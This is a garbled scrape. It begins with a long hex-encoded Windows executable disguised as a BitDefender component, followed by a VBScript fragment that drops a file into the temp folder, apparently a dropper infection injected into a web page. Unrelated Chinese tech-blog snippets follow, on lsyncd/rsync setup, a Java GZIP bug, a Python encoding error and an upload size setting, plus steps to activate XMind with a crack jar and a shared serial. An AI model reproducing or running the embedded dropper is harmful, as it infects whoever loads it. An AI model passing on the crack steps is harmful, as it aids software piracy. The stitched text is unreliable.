280B8D03D75BFBD44D137055876692532788DF13FB4FDC2D2E947E119E59D80899651CA027869BBB52F895B2D865D068E81300ADF682C551BDB1DB6279094800AD5B6F1D1B163793A35D6498AFA169F2AF825315F53B87FC67EFE2A0525F355B6C97A08F840DBEA173CA86EF1014C9A62A9045D13A1AF22BD7D807E13AD5D73C778874DA049552C11DC6F1240C7970BFCC2AE11B824D8D4F67349E2BFF9492DD1196A10563B753814B536ECBE0BCD010DD90D84092227FCC3B610DDA2208050F34A58CBA33B28B68B68D00AB31793F8AD7E6B529BBC06872041DA1128DAFF56FF52C75F0E4C9C7D28C910F643A414B49A60406DDC62032F04FD67EE4C521148BF2BF55FE0C58FC1696D94B10E5AA9EE150741E136148602F520C8D25C63605F32DDBD2317168A3C9ED032F9856109BB5753D41B86000AF5969793EA2E5C6845711C2F787300CA28B5B1ABBB0403266588EE67AA0F6E37162E6B016F077D6EDC8817F878C692A93586DA81A9BB15B1D44BA512EB1D2AE0A7A374FB63002B01E77C14566F213E0297E083A2FDA20B35D9B0612845C367715C9B9364A871F80FB4C20362F16D32297E158817D8B57E2C5008CE0F8D96E8AD7E1D74A909BD95DF0BD046DDE4C82E937F2E136758FE5FE063D8C624E1D5D32B8F2C91053E9D9FE8154BDCDCDA0B7B7FF6C2CDC9FD9788BE990528DFD374A7D7B860828C1EEE8582A52FAF670E6F305EEC22A9AD30B57942C073AF60A2B5FF6E3874D3D29C9624987CECFE5FDB2DDEBAB6FBC38206F9E85B5828BF45B4B6FCB4E384E46D095B3832EAB75DFC476418ED84D849A13437A11180C1D0448AFF0D9E02EC198C25871DE009D90A57C10BBC02BCC9230B14307508CDC40E2837F4B7DB40920A76010F49A4A339363EE417574E2F2FF4FF8E92209BF810FB57D9C5873C5F1BC104408AF08EA5B78A2BB14618F4E5B22485A3E1C6B3E0BE4A1E4D1348FBD2066CDB3DDBDB573BE09650146E744761BFE83B838C3726C39BA6A05BA664C94F8E32FA56D1C623394DCAF1E134613BA8FFDCD8AA4BBB6E8060FC0786F76D04A587AD9C6375F773FED2052E49702BB90608CC2810CBE5809076E806064AEBFF80D98C2F5CA8D58C82D05281DA2344D0A1A6DFE80C9D02135B436F889B0601877101B87CE9034D3C948F4965DD481134BA1869C0174A2D6EA83857A39824D180A6C17F53C07516A5BED1E80B6B7BC5C0AA1BADDF68A479A34A76A986B2E35D54AD16EAD921A311A59895976AA2CB5EA186014C00FFC0AD419F8FC9C9D040E1C2828676A5BEFD02BF2403E2010DDC1F805735C7F4CA2F5B7CA91C7578E2103593103A79686BA8F881E5C9A70EF2038EFCDFE2ADD6C35B44C0D0D5F93895D50176B451F978ECB300DAD47D9980A4154B7FABFF4090603458847D0FFAF0566D9ED7D9E705CC1D3687FDAD96D843C05F73B7C6E0B41370C1A90568A2196972792E8EE2BF10B547F4BCECCFFEBCD1229B9AFF5B0B9708EA141267AC2058FF3B24210B56CA112DB5E8E58E0332A8132D2DFD7F2F6848F8850F239F18D7573C6F1BC77FA106DA1EE48233B053E0EFFCF0DCC855618915DEC3AC05C1D528380E207F01E036EA1B5B7A737AF09D172E3304E2ADDADAE9DF5A4E5E1CAD074240FF854A010A28862E1948541396082E3D8AF64F86336AD7157CDBC4379A6CC7DC41B1A218400148AB5BFF9DBB150A250C2628AFCCC618635A70FC2842A98DAD06F83958E7A321D117FDD0951085B1DE18450ABEFD42C134A6D212F114C46662B0C4EF6ED0B9626A2F1AA373D90D9F8016FE876AE36981B761A23E891A5C02895B142A40BD20D7E61DC04DDBE803DF52A828FA2874A10B458BD37E5EE4C35BDB51B04D38E4B5E83D180AEB4FED166BCC6F0D068904251C1F6A6DE276E6EF3494A04CF805BF1BB7855F3547CCE26D5BA21A2B619EC1E1E347978A3BCDF390576C26F7C3F1DB52EDA4176822005A8657E0B8908B7FB9CEC0F405D01F8C922F446E2D111737E8CAA129285791473704DD1E22F8D5A701F0FF2C17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"Set FSO = CreateObject("Scripting.FileSystemObject")DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileNameIf FSO.FileExists(DropPath)=False ThenSet FileObj = FSO.
cat *.csv > full.csv
官网开源地址
https://github.com/axkibe/lsyncd
官网配置手册
https://axkibe.github.io/lsyncd/
简介
Lysncd 实际上是lua语言封装了 inotify 和 rsync 工具
配置
主机操作系统IP地址主 lsyncd servercentos6192.168.10.10备 rsync Clientcentos6192.168.10.20 一 、lsyncd server 搭建安装
rpm -ivh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm # 安装 epel 源
yum -y install lsyncd rsync # 安装
vim /etc/lsyncd.conf # 配置
settings { logfile = "/var/log/lsyncd/lsyncd.log", statusFile = "/var/log/lsyncd/lsyncd.status", inotifyMode = "CloseWrite", maxProcesses = 1000, maxDelays = 200, } sync { default.rsync, source = "/tmp/", target = "rsyncuser@192.168.10.20::backup", delay = 100, rsync = { binary = "
GZIPOutputStream与ByteArrayOutputStream共同使用时,先把数据存到baos,再写入文件,出现了以下错误
java.io.EOFException : Unexpected end of ZLIB input stream at java.util.zip.InflaterInputStream.fill( InflaterInputStream.java:240) at java.util.zip.InflaterInputStream.read( InflaterInputStream.java:158) at java.util.zip.GZIPInputStream.read( GZIPInputStream.java:117) at java.io.FilterInputStream.read( FilterInputStream.java:107) at TestGzip.main( TestGzip.java:29) 查看文件大小,与直接使用FileOutputStream写的不一致,要小很多,究其原因,是数据没有完全刷到baos中。
翻看源码发现,gzip等压缩流在close时,会调用finish方法,完成流的转换,此处使用baos,在close之前就去取值,从而导致流数据不完整。
若想提前使用baos获取全部流数据,需要手动执行finish方法,进行手动刷新。
测试代码如下:
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; public class TestGzip { public static void main(String[] args) { try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzip = new GZIPOutputStream(baos ); FileOutputStream fos = new FileOutputStream("d://1.txt" );) { gzip.
步骤1:
下载安装XMind 8 .
百度网盘下载:https://pan.baidu.com/s/1CKu1VPtos-GbC_hBSe-fYQ 密码:5zu7
步骤2(可选):
安装好Xmind后右击Xmind图标-->打开文件位置-->进入安装目录,将XMindCrack.jar文件(在步骤1链接下载的文件中)复制粘贴到该目录下【可以不复制,步骤3中有解释】。
步骤3:
打开安装目录下的XMind.ini配置文件,
在末尾添加一行: -javaagent:C:\Program Files (x86)\XMind\XMindCrack.jar 紫色部分为jar文件路径(其实这个jar文件放哪都可以,只是和Xmind安装目录放在一起便于查看管理,所以步骤2可以略 过)
Xmind.ini文件位置示例图
Xmind.ini修改内容示例图:
步骤4:
打开XMind.exe程序,点击【帮助】—>【序列号】—>输入邮箱(任意一个正确的邮箱即可) + 序列号即可完成激活。(序列号也在步骤1的链接下载的文件中)
激活成功示例图:
疑问区: 如果遇到其他安装问题,欢迎一起探讨解决。
2019.4.18添加:
提醒目前安装xmind仍然存在问题的伙伴:
当前所有评论中已经包含了安装可能遇到的所有问题和解决办法, 如果你们没有时间翻看所有记录,请单独在博文下方留言问题详情!
!!切记,不要在其他人评论下方留言,我找不到你的留言。
!!不要在其他人留言下方留言。
!!不要在其他人留言下方留言。
Okay,that's all.
--------------------- 作者:迟到_啦 来源:CSDN 原文:https://blog.csdn.net/qq_19314763/article/details/81201032 版权声明:本文为博主原创文章,转载请附上博文链接!
上传一个1M的文件到服务端成功了,传一个大一点的9M的失败了。
需要在服务端 设置 一下接受的文件大小
在 web.config 下设置一下信息
需求:把指定目录下的文件复制到当前目录命名为copy
在处理文件复制过程中,出现以下报错
‘gbk’ codec can’t decode byte 0x94 in position 162: illegal multibyte sequence
with open('D:\sample.txt','r+') as f1: with open('D:\copy.txt','w+') as f2: f2.write(f1.read()) UnicodeDecodeError: 'gbk' codec can't decode byte 0x94 in position 162: illegal multibyte sequence 分析:该报错理解为‘gbk’解码器无法解析字节,那么问题就可以定位在字节编码上
思路1
指定文件sample.txt写入时的编码(gbk、unicode、utf-8),只能挨个测试,我的文件在测试到utf-8时成功写入
with open('D:\sample.txt','r+',encoding='utf-8') as f1: with open('D:\copy.txt','w+',encoding='utf-8') as f2: f2.write(f1.read()) 思路2
因为不知道文件写入时的编码,挨个测试效率极低,有没有忽略编码打开的方式呢?
在内存中,无论什么编码最终都会转换为二进制进行存储,所以文件以二进制方式打开就不会有编码的问题了
